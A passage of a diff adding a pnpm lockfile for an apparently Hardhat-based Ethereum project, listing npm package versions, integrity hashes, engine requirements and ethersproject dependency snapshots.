+    resolution: {integrity: sha512-Qr3TosvguFt8ePWqsvRfrKyQXIiW+nGbYpy8XK24NQHE83caxWt+mIymTT19DGFbNWNLfEwsrkSmN64lVWB9ag==}
+
+  set-function-length@1.2.2:
+    resolution: {integrity: sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==}
+    engines: {node: '>= 0.4'}
+
+  setimmediate@1.0.5:
+    resolution: {integrity: sha512-MATJdZp8sLqDl/68LfQmbP8zKPLQNV6BIZoIgrscFDQ+RsvK/BxeDQOgyxKKoh0y/8h3BqVFnCqQ/gd+reiIXA==}
+
+  setprototypeof@1.2.0:
+    resolution: {integrity: sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==}
+
+  sha.js@2.4.11:
+    resolution: {integrity: sha512-QMEp5B7cftE7APOjk5Y6xgrbWu+WkLVQwk8JNjZ8nKRciZaByEW6MubieAiToS7+dwvrjGhH8jRXz3MVd0AYqQ==}
+    hasBin: true
+
+  sha1@1.1.1:
+    resolution: {integrity: sha512-dZBS6OrMjtgVkopB1Gmo4RQCDKiZsqcpAQpkV/aaj+FCrCg8r4I4qMkDPQjBgLIxlmu9k4nUbWq6ohXahOneYA==}
+
+  shelljs@0.8.5:
+    resolution: {integrity: sha512-TiwcRcrkhHvbrZbnRcFYMLl30Dfov3HKqzp5tO5b4pt6G/SezKcYhmDg15zXVBswHmctSAQKznqNW2LO5tTDow==}
+    engines: {node: '>=4'}
+    hasBin: true
+
+  side-channel@1.0.6:
+    resolution: {integrity: sha512-fDW/EZ6Q9RiO8eFG8Hj+7u/oW+XrPTIChwCOM2+th2A6OblDtYYIpve9m+KvI9Z4C9qSEXlaGR6bTEYHReuglA==}
+    engines: {node: '>= 0.4'}
+
+  sisteransi@1.0.5:
+    resolution: {integrity: sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg==}
+
+  slash@3.0.0:
+    resolution: {integrity: sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==}
+    engines: {node: '>=8'}
+
+  slice-ansi@4.0.0:
+    resolution: {integrity: sha512-qMCMfhY040cVHT43K9BFygqYbUPFZKHOg7K73mtTWJRb8pyP3fzf4Ixd5SzdEJQ6MRUg/WBnOLxghZtKKurENQ==}
+    engines: {node: '>=10'}
+
+  solc@0.7.3:
+    resolution: {integrity: sha512-GAsWNAjGzIDg7VxzP6mPjdurby3IkGCjQcM8GFYZT6RyaoUZKmMU6Y7YwG+tFGhv7dwZ8rmR4iwFDrrD99JwqA==}
+    engines: {node: '>=8.0.0'}
+    hasBin: true
+
+  solidity-coverage@0.8.12:
+    resolution: {integrity: sha512-8cOB1PtjnjFRqOgwFiD8DaUsYJtVJ6+YdXQtSZDrLGf8cdhhh8xzTtGzVTGeBf15kTv0v7lYPJlV/az7zLEPJw==}
+    hasBin: true
+    peerDependencies:
+      hardhat: ^2.11.0
+
+  source-map-support@0.5.21:
+    resolution: {integrity: sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==}
+
+  source-map@0.2.0:
+    resolution: {integrity: sha512-CBdZ2oa/BHhS4xj5DlhjWNHcan57/5YuvfdLf17iVmIpd9KRm+DFLmC6nBNj+6Ua7Kt3TmOjDpQT1aTYOQtoUA==}
+    engines: {node: '>=0.8.0'}
+
+  source-map@0.6.1:
+    resolution: {integrity: sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==}
+    engines: {node: '>=0.10.0'}
+
+  split2@3.2.2:
+    resolution: {integrity: sha512-9NThjpgZnifTkJpzTZ7Eue85S49QwpNhZTq6GRJwObb6jnLFNGB7Qm73V5HewTROPyxD0C29xqmaI68bQtV+hg==}
+
+  sprintf-js@1.0.3:
+    resolution: {integrity: sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==}
+
+  stacktrace-parser@0.1.10:
+    resolution: {integrity: sha512-KJP1OCML99+8fhOHxwwzyWrlUuVX5GQ0ZpJTd1DFXhdkrvg1szxfHhawXUZ3g9TkXORQd4/WG68jMlQZ2p8wlg==}
+    engines: {node: '>=6'}
+
+  statuses@2.0.1:
+    resolution: {integrity: sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==}
+    engines: {node: '>= 0.8'}
+
+  string-format@2.0.0:
+    resolution: {integrity: sha512-bbEs3scLeYNXLecRRuk6uJxdXUSj6le/8rNPHChIJTn2V79aXVTR1EH2OH5zLKKoz0V02fOUKZZcw01pLUShZA==}
+
+  string-width@2.1.1:
+    resolution: {integrity: sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==}
+    engines: {node: '>=4'}
+
+  string-width@4.2.3:
+    resolution: {integrity: sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==}
+    engines: {node: '>=8'}
+
+  string_decoder@1.1.1:
+    resolution: {integrity: sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==}
+
+  string_decoder@1.3.0:
+    resolution: {integrity: sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==}
+
+  strip-ansi@4.0.0:
+    resolution: {integrity: sha512-4XaJ2zQdCzROZDivEVIDPkcQn8LMFSa8kj8Gxb/Lnwzv9A8VctNZ+lfivC/sV3ivW8ElJTERXZoPBRrZKkNKow==}
+    engines: {node: '>=4'}
+
+  strip-ansi@6.0.1:
+    resolution: {integrity: sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==}
+    engines: {node: '>=8'}
+
+  strip-hex-prefix@1.0.0:
+    resolution: {integrity: sha512-q8d4ue7JGEiVcypji1bALTos+0pWtyGlivAWyPuTkHzuTCJqrK9sWxYQZUq6Nq3cuyv3bm734IhHvHtGGURU6A==}
+    engines: {node: '>=6.5.0', npm: '>=3'}
+
+  strip-json-comments@3.1.1:
+    resolution: {integrity: sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==}
+    engines: {node: '>=8'}
+
+  supports-color@3.2.3:
+    resolution: {integrity: sha512-Jds2VIYDrlp5ui7t8abHN2bjAu4LV/q4N2KivFPpGH0lrka0BMq/33AmECUXlKPcHigkNaqfXRENFju+rlcy+A==}
+    engines: {node: '>=0.8.0'}
+
+  supports-color@5.5.0:
+    resolution: {integrity: sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==}
+    engines: {node: '>=4'}
+
+  supports-color@7.2.0:
+    resolution: {integrity: sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==}
+    engines: {node: '>=8'}
+
+  supports-color@8.1.1:
+    resolution: {integrity: sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==}
+    engines: {node: '>=10'}
+
+  sync-request@6.1.0:
+    resolution: {integrity: sha512-8fjNkrNlNCrVc/av+Jn+xxqfCjYaBoHqCsDz6mt030UMxJGr+GSfCV1dQt2gRtlL63+VPidwDVLr7V2OcTSdRw==}
+    engines: {node: '>=8.0.0'}
+
+  sync-rpc@1.3.6:
+    resolution: {integrity: sha512-J8jTXuZzRlvU7HemDgHi3pGnh/rkoqR/OZSjhTyyZrEkkYQbk7Z33AXp37mkPfPpfdOuj7Ex3H/TJM1z48uPQw==}
+
+  table-layout@1.0.2:
+    resolution: {integrity: sha512-qd/R7n5rQTRFi+Zf2sk5XVVd9UQl6ZkduPFC3S7WEGJAmetDTjY3qPN50eSKzwuzEyQKy5TN2TiZdkIjos2L6A==}
+    engines: {node: '>=8.0.0'}
+
+  table@6.8.2:
+    resolution: {integrity: sha512-w2sfv80nrAh2VCbqR5AK27wswXhqcck2AhfnNW76beQXskGZ1V12GwS//yYVa3d3fcvAip2OUnbDAjW2k3v9fA==}
+    engines: {node: '>=10.0.0'}
+
+  then-request@6.0.2:
+    resolution: {integrity: sha512-3ZBiG7JvP3wbDzA9iNY5zJQcHL4jn/0BWtXIkagfz7QgOL/LqjCEOBQuJNZfu0XYnv5JhKh+cDxCPM4ILrqruA==}
+    engines: {node: '>=6.0.0'}
+
+  through2@4.0.2:
+    resolution: {integrity: sha512-iOqSav00cVxEEICeD7TjLB1sueEL+81Wpzp2bY17uZjZN0pWZPuo4suZ/61VujxmqSGFfgOcNuTZ85QJwNZQpw==}
+
+  tmp@0.0.33:
+    resolution: {integrity: sha512-jRCJlojKnZ3addtTOjdIqoRuPEKBvNXcGYqzO6zWZX8KfKEpnGY5jfggJQ3EjKuu8D4bJRr0y+cYJFmYbImXGw==}
+    engines: {node: '>=0.6.0'}
+
+  to-regex-range@5.0.1:
+    resolution: {integrity: sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==}
+    engines: {node: '>=8.0'}
+
+  toidentifier@1.0.1:
+    resolution: {integrity: sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==}
+    engines: {node: '>=0.6'}
+
+  ts-command-line-args@2.5.1:
+    resolution: {integrity: sha512-H69ZwTw3rFHb5WYpQya40YAX2/w7Ut75uUECbgBIsLmM+BNuYnxsltfyyLMxy6sEeKxgijLTnQtLd0nKd6+IYw==}
+    hasBin: true
+
+  ts-essentials@7.0.3:
+    resolution: {integrity: sha512-8+gr5+lqO3G84KdiTSMRLtuyJ+nTBVRKuCrK4lidMPdVeEp0uqC875uE5NMcaA7YYMN7XsNiFQuMvasF8HT/xQ==}
+    peerDependencies:
+      typescript: '>=3.7.0'
+
+  ts-node@10.9.2:
+    resolution: {integrity: sha512-f0FFpIdcHgn8zcPSbf1dRevwt047YMnaiJM3u2w2RewrB+fob/zePZcrOyQoLMMO7aBIddLcQIEK5dYjkLnGrQ==}
+    hasBin: true
+    peerDependencies:
+      '@swc/core': '>=1.2.50'
+      '@swc/wasm': '>=1.2.50'
+      '@types/node': '*'
+      typescript: '>=2.7'
+    peerDependenciesMeta:
+      '@swc/core':
+        optional: true
+      '@swc/wasm':
+        optional: true
+
+  tslib@1.14.1:
+    resolution: {integrity: sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==}
+
+  tslib@2.4.0:
+    resolution: {integrity: sha512-d6xOpEDfsi2CZVlPQzGeux8XMwLT9hssAsaPYExaQMuYskwb+x1x7J371tWlbBdWHroy99KnVB6qIkUbs5X3UQ==}
+
+  tsort@0.0.1:
+    resolution: {integrity: sha512-Tyrf5mxF8Ofs1tNoxA13lFeZ2Zrbd6cKbuH3V+MQ5sb6DtBj5FjrXVsRWT8YvNAQTqNoz66dz1WsbigI22aEnw==}
+
+  tweetnacl-util@0.15.1:
+    resolution: {integrity: sha512-RKJBIj8lySrShN4w6i/BonWp2Z/uxwC3h4y7xsRrpP59ZboCd0GpEVsOnMDYLMmKBpYhb5TgHzZXy7wTfYFBRw==}
+
+  tweetnacl@1.0.3:
+    resolution: {integrity: sha512-6rt+RN7aOi1nGMyC4Xa5DdYiukl2UWCbcJft7YhxReBGQD7OAM8Pbxw6YMo4r2diNEA8FEmu32YOn9rhaiE5yw==}
+
+  type-check@0.3.2:
+    resolution: {integrity: sha512-ZCmOJdvOWDBYJlzAoFkC+Q0+bUyEOS1ltgp1MGU03fqHG+dbi9tBFU2Rd9QKiDZFAYrhPh2JUf7rZRIuHRKtOg==}
+    engines: {node: '>= 0.8.0'}
+
+  type-detect@4.0.8:
+    resolution: {integrity: sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g==}
+    engines: {node: '>=4'}
+
+  type-fest@0.20.2:
+    resolution: {integrity: sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==}
+    engines: {node: '>=10'}
+
+  type-fest@0.21.3:
+    resolution: {integrity: sha512-t0rzBq87m3fVcduHDUFhKmyyX+9eo6WQjZvf51Ea/M0Q7+T374Jp1aUiyUl0GKxp8M/OETVHSDvmkyPgvX+X2w==}
+    engines: {node: '>=10'}
+
+  type-fest@0.7.1:
+    resolution: {integrity: sha512-Ne2YiiGN8bmrmJJEuTWTLJR32nh/JdL1+PSicowtNb0WFpn59GK8/lfD61bVtzguz7b3PBt74nxpv/Pw5po5Rg==}
+    engines: {node: '>=8'}
+
+  typechain@8.3.2:
+    resolution: {integrity: sha512-x/sQYr5w9K7yv3es7jo4KTX05CLxOf7TRWwoHlrjRh8H82G64g+k7VuWPJlgMo6qrjfCulOdfBjiaDtmhFYD/Q==}
+    hasBin: true
+    peerDependencies:
+      typescript: '>=4.3.0'
+
+  typedarray@0.0.6:
+    resolution: {integrity: sha512-/aCDEGatGvZ2BIk+HmLf4ifCJFwvKFNb9/JeZPMulfgFracn9QFcAf5GO8B/mweUjSoblS5In0cWhqpfs/5PQA==}
+
+  typescript@5.4.5:
+    resolution: {integrity: sha512-vcI4UpRgg81oIRUFwR0WSIHKt11nJ7SAVlYNIu+QpqeyXP+gpQJy/Z4+F0aGxSE4MqwjyXvW/TzgkLAx2AGHwQ==}
+    engines: {node: '>=14.17'}
+    hasBin: true
+
+  typical@4.0.0:
+    resolution: {integrity: sha512-VAH4IvQ7BDFYglMd7BPRDfLgxZZX4O4TFcRDA6EN5X7erNJJq+McIEp8np9aVtxrCJ6qx4GTYVfOWNjcqwZgRw==}
+    engines: {node: '>=8'}
+
+  typical@5.2.0:
+    resolution: {integrity: sha512-dvdQgNDNJo+8B2uBQoqdb11eUCE1JQXhvjC/CZtgvZseVd5TYMXnq0+vuUemXbd/Se29cTaUuPX3YIc2xgbvIg==}
+    engines: {node: '>=8'}
+
+  uglify-js@3.17.4:
+    resolution: {integrity: sha512-T9q82TJI9e/C1TAxYvfb16xO120tMVFZrGA3f9/P4424DNu6ypK103y0GPFVa17yotwSyZW5iYXgjYHkGrJW/g==}
+    engines: {node: '>=0.8.0'}
+    hasBin: true
+
+  undici-types@5.26.5:
+    resolution: {integrity: sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA==}
+
+  undici@5.28.4:
+    resolution: {integrity: sha512-72RFADWFqKmUb2hmmvNODKL3p9hcB6Gt2DOQMis1SEBaV6a4MH8soBvzg+95CYhCKPFedut2JY9bMfrDl9D23g==}
+    engines: {node: '>=14.0'}
+
+  universalify@0.1.2:
+    resolution: {integrity: sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==}
+    engines: {node: '>= 4.0.0'}
+
+  universalify@2.0.1:
+    resolution: {integrity: sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==}
+    engines: {node: '>= 10.0.0'}
+
+  unpipe@1.0.0:
+    resolution: {integrity: sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==}
+    engines: {node: '>= 0.8'}
+
+  uri-js@4.4.1:
+    resolution: {integrity: sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==}
+
+  utf8@3.0.0:
+    resolution: {integrity: sha512-E8VjFIQ/TyQgp+TZfS6l8yp/xWppSAHzidGiRrqe4bK4XP9pTRyKFgGJpO3SN7zdX4DeomTrwaseCHovfpFcqQ==}
+
+  util-deprecate@1.0.2:
+    resolution: {integrity: sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==}
+
+  uuid@8.3.2:
+    resolution: {integrity: sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==}
+    hasBin: true
+
+  v8-compile-cache-lib@3.0.1:
+    resolution: {integrity: sha512-wa7YjyUGfNZngI/vtK0UHAN+lgDCxBPCylVXGp0zu59Fz5aiGtNXaq3DhIov063MorB+VfufLh3JlF2KdTK3xg==}
+
+  web3-utils@1.10.4:
+    resolution: {integrity: sha512-tsu8FiKJLk2PzhDl9fXbGUWTkkVXYhtTA+SmEFkKft+9BgwLxfCRpU96sWv7ICC8zixBNd3JURVoiR3dUXgP8A==}
+    engines: {node: '>=8.0.0'}
+
+  which@1.3.1:
+    resolution: {integrity: sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==}
+    hasBin: true
+
+  widest-line@3.1.0:
+    resolution: {integrity: sha512-NsmoXalsWVDMGupxZ5R08ka9flZjjiLvHVAWYOKtiKM8ujtZWr9cRffak+uSE48+Ob8ObalXpwyeUiyDD6QFgg==}
+    engines: {node: '>=8'}
+
+  word-wrap@1.2.5:
+    resolution: {integrity: sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==}
+    engines: {node: '>=0.10.0'}
+
+  wordwrap@1.0.0:
+    resolution: {integrity: sha512-gvVzJFlPycKc5dZN4yPkP8w7Dc37BtP1yczEneOb4uq34pXZcvrtRTmWV8W+Ume+XCxKgbjM+nevkyFPMybd4Q==}
+
+  wordwrapjs@4.0.1:
+    resolution: {integrity: sha512-kKlNACbvHrkpIw6oPeYDSmdCTu2hdMHoyXLTcUKala++lx5Y+wjJ/e474Jqv5abnVmwxw08DiTuHmw69lJGksA==}
+    engines: {node: '>=8.0.0'}
+
+  workerpool@6.2.1:
+    resolution: {integrity: sha512-ILEIE97kDZvF9Wb9f6h5aXK4swSlKGUcOEGiIYb2OOu/IrDU9iwj0fD//SsA6E5ibwJxpEvhullJY4Sl4GcpAw==}
+
+  wrap-ansi@7.0.0:
+    resolution: {integrity: sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==}
+    engines: {node: '>=10'}
+
+  wrappy@1.0.2:
+    resolution: {integrity: sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==}
+
+  ws@7.4.6:
+    resolution: {integrity: sha512-YmhHDO4MzaDLB+M9ym/mDA5z0naX8j7SIlT8f8z+I0VtzsRbekxEutHSme7NPS2qE8StCYQNUnfWdXta/Yu85A==}
+    engines: {node: '>=8.3.0'}
+    peerDependencies:
+      bufferutil: ^4.0.1
+      utf-8-validate: ^5.0.2
+    peerDependenciesMeta:
+      bufferutil:
+        optional: true
+      utf-8-validate:
+        optional: true
+
+  ws@7.5.9:
+    resolution: {integrity: sha512-F+P9Jil7UiSKSkppIiD94dN07AwvFixvLIj1Og1Rl9GGMuNipJnV9JzjD6XuqmAeiswGvUmNLjr5cFuXwNS77Q==}
+    engines: {node: '>=8.3.0'}
+    peerDependencies:
+      bufferutil: ^4.0.1
+      utf-8-validate: ^5.0.2
+    peerDependenciesMeta:
+      bufferutil:
+        optional: true
+      utf-8-validate:
+        optional: true
+
+  ws@8.5.0:
+    resolution: {integrity: sha512-BWX0SWVgLPzYwF8lTzEy1egjhS4S4OEAHfsO8o65WOVsrnSRGaSiUaa9e0ggGlkMTtBlmOpEXiie9RUcBO86qg==}
+    engines: {node: '>=10.0.0'}
+    peerDependencies:
+      bufferutil: ^4.0.1
+      utf-8-validate: ^5.0.2
+    peerDependenciesMeta:
+      bufferutil:
+        optional: true
+      utf-8-validate:
+        optional: true
+
+  y18n@5.0.8:
+    resolution: {integrity: sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==}
+    engines: {node: '>=10'}
+
+  yallist@4.0.0:
+    resolution: {integrity: sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==}
+
+  yargs-parser@20.2.4:
+    resolution: {integrity: sha512-WOkpgNhPTlE73h4VFAFsOnomJVaovO8VqLDzy5saChRBFQFBoMYirowyW+Q9HB4HFF4Z7VZTiG3iSzJJA29yRA==}
+    engines: {node: '>=10'}
+
+  yargs-unparser@2.0.0:
+    resolution: {integrity: sha512-7pRTIA9Qc1caZ0bZ6RYRGbHJthJWuakf+WmHK0rVeLkNrrGhfoabBNdue6kdINI6r4if7ocq9aD/n7xwKOdzOA==}
+    engines: {node: '>=10'}
+
+  yargs@16.2.0:
+    resolution: {integrity: sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==}
+    engines: {node: '>=10'}
+
+  yn@3.1.1:
+    resolution: {integrity: sha512-Ux4ygGWsu2c7isFWe8Yu1YluJmqVhxqK2cLXNQA5AcC3QfbGNpM7fu0Y8b/z16pXLnFxZYvWhd3fhBY9DLmC6Q==}
+    engines: {node: '>=6'}
+
+  yocto-queue@0.1.0:
+    resolution: {integrity: sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==}
+    engines: {node: '>=10'}
+
+snapshots:
+
+  '@adraffy/ens-normalize@1.10.1': {}
+
+  '@cspotcode/source-map-support@0.8.1':
+    dependencies:
+      '@jridgewell/trace-mapping': 0.3.9
+
+  '@ethereumjs/rlp@4.0.1': {}
+
+  '@ethereumjs/util@8.1.0':
+    dependencies:
+      '@ethereumjs/rlp': 4.0.1
+      ethereum-cryptography: 2.1.3
+      micro-ftch: 0.3.1
+
+  '@ethersproject/abi@5.7.0':
+    dependencies:
+      '@ethersproject/address': 5.7.0
+      '@ethersproject/bignumber': 5.7.0
+      '@ethersproject/bytes': 5.7.0
+      '@ethersproject/constants': 5.7.0
+      '@ethersproject/hash': 5.7.0
+      '@ethersproject/keccak256': 5.7.0
+      '@ethersproject/logger': 5.7.0
+      '@ethersproject/properties': 5.7.0
+      '@ethersproject/strings': 5.7.0
+
+  '@ethersproject/abstract-provider@5.7.0':
+    dependencies:
+      '@ethersproject/bignumber': 5.7.0
+      '@ethersproject/bytes': 5.7.0
+      '@ethersproject/logger': 5.7.0
+      '@ethersproject/networks': 5.7.1
+      '@ethersproject/properties': 5.7.0
+      '@ethersproject/transactions': 5.7.0
+      '@ethersproject/web': 5.7.1
+
+  '@ethersproject/abstract-signer@5.7.0':
+    dependencies:
+      '@ethersproject/abstract-provider': 5.7.0
+      '@ethersproject/bignumber': 5.7.0
+      '@ethersproject/bytes': 5.7.0
+      '@ethersproject/logger': 5.7.0
+      '@ethersproject/properties': 5.7.0
+
+  '@ethersproject/address@5.6.1':
+    dependencies:
+      '@ethersproject/bignumber': 5.7.0
+      '@ethersproject/bytes': 5.7.0
+      '@ethersproject/keccak256': 5.7.0
+      '@ethersproject/logger': 5.7.0
+      '@ethersproject/rlp': 5.7.0
+
+  '@ethersproject/address@5.7.0':
+    dependencies:
+      '@ethersproject/bignumber': 5.7.0
+      '@ethersproject/bytes': 5.7.0
+      '@ethersproject/keccak256': 5.7.0
+      '@ethersproject/logger': 5.7.0
+      '@ethersproject/rlp': 5.7.0
+
+  '@ethersproject/base64@5.7.0':
+    dependencies:
+      '@ethersproject/bytes': 5.7.0
+
+  '@ethersproject/basex@5.7.0':
+    dependencies:
+      '@ethersproject/bytes': 5.7.0
+      '@ethersproject/properties': 5.7.0
+
+  '@ethersproject/bignumber@5.7.0':
+    dependencies:
+      '@ethersproject/bytes': 5.7.0
+      '@ethersproject/logger': 5.7.0
+      bn.js: 5.2.1
+
+  '@ethersproject/bytes@5.7.0':
+    dependencies:
+      '@ethersproject/logger': 5.7.0
+
+  '@ethersproject/constants@5.7.0':
+    dependencies:
+      '@ethersproject/bignumber': 5.7.0
+
+  '@ethersproject/contracts@5.7.0':
+    dependencies:
+      '@ethersproject/abi': 5.7.0
+      '@ethersproject/abstract-provider': 5.7.0
+      '@ethersproject/abstract-signer': 5.7.0
+      '@ethersproject/address': 5.7.0
+      '@ethersproject/bignumber': 5.7.0
+      '@ethersproject/bytes': 5.7.0
+      '@ethersproject/constants': 5.7.0
+      '@ethersproject/logger': 5.7.0
+      '@ethersproject/properties': 5.7.0
+      '@ethersproject/transactions': 5.7.0
+
+  '@ethersproject/hash@5.7.0':
+    dependencies:
+      '@ethersproject/abstract-signer': 5.7.0
+      '@ethersproject/address': 5.7.0
+      '@ethersproject/base64': 5.7.0
+      '@ethersproject/bignumber': 5.7.0
+      '@ethersproject/bytes': 5.7.0
+      '@ethersproject/keccak256': 5.7.0
+      '@ethersproject/logger': 5.7.0
+      '@ethersproject/properties': 5.7.0
+      '@ethersproject/strings': 5.7.0
+
+  '@ethersproject/hdnode@5.7.0':
+    dependencies:
+      '@ethersproject/abstract-signer': 5.7.0
+      '@ethersproject/basex': 5.7.0
+      '@ethersproject/bignumber': 5.7.0
+      '@ethersproject/bytes': 5.7.0
+      '@ethersproject/logger': 5.7.0
+      '@ethersproject/pbkdf2': 5.7.0
+      '@ethersproject/properties': 5.7.0
+      '@ethersproject/sha2': 5.7.0
+      '@ethersproject/signing-key': 5.7.0
+      '@ethersproject/strings': 5.7.0
+      '@ethersproject/transactions': 5.7.0
+      '@ethersproject/wordlists': 5.7.0
+
+  '@ethersproject/json-wallets@5.7.0':
+    dependencies:
+      '@ethersproject/abstract-signer': 5.7.0
+      '@ethersproject/address': 5.7.0
+      '@ethersproject/bytes': 5.7.0
+      '@ethersproject/hdnode': 5.7.0
+      '@ethersproject/keccak256': 5.7.0
+      '@ethersproject/logger': 5.7.0
+      '@ethersproject/pbkdf2': 5.7.0
+      '@ethersproject/properties': 5.7.0
+      '@ethersproject/random': 5.7.0
+      '@ethersproject/strings': 5.7.0
+      '@ethersproject/transactions': 5.7.0
+      aes-js: 3.0.0
+      scrypt-js: 3.0.1
+
+  '@ethersproject/keccak256@5.7.0':
+    dependencies:
+      '@ethersproject/bytes': 5.7.0
+      js-sha3: 0.8.0
+
+  '@ethersproject/logger@5.7.0': {}
+
+  '@ethersproject/networks@5.7.1':
+    dependencies:
+      '@ethersproject/logger': 5.7.0
+
+  '@ethersproject/pbkdf2@5.7.0':
+    dependencies:
+      '@ethersproject/bytes': 5.7.0
+      '@ethersproject/sha2': 5.7.0
+
+  '@ethersproject/properties@5.7.0':
+    dependencies:
+      '@ethersproject/logger': 5.7.0
+
+  '@ethersproject/providers@5.7.2':
+    dependencies:
+      '@ethersproject/abstract-provider': 5.7.0
+      '@ethersproject/abstract-signer': 5.7.0
+      '@ethersproject/address': 5.7.0
+      '@ethersproject/base64': 5.7.0
+      '@ethersproject/basex': 5.7.0
+      '@ethersproject/bignumber': 5.7.0
+      '@ethersproject/bytes': 5.7.0
+      '@ethersproject/constants': 5.7.0
+      '@ethersproject/hash': 5.7.0
+      '@ethersproject/logger': 5.7.0
+      '@ethersproject/networks': 5.7.1
+      '@ethersproject/properties': 5.7.0
+      '@ethersproject/random': 5.7.0
+      '@ethersproject/rlp': 5.7.0
+      '@ethersproject/sha2': 5.7.0
+      '@ethersproject/strings': 5.7.0
+      '@ethersproject/transactions': 5.7.0
+      '@ethersproject/web': 5.7.1
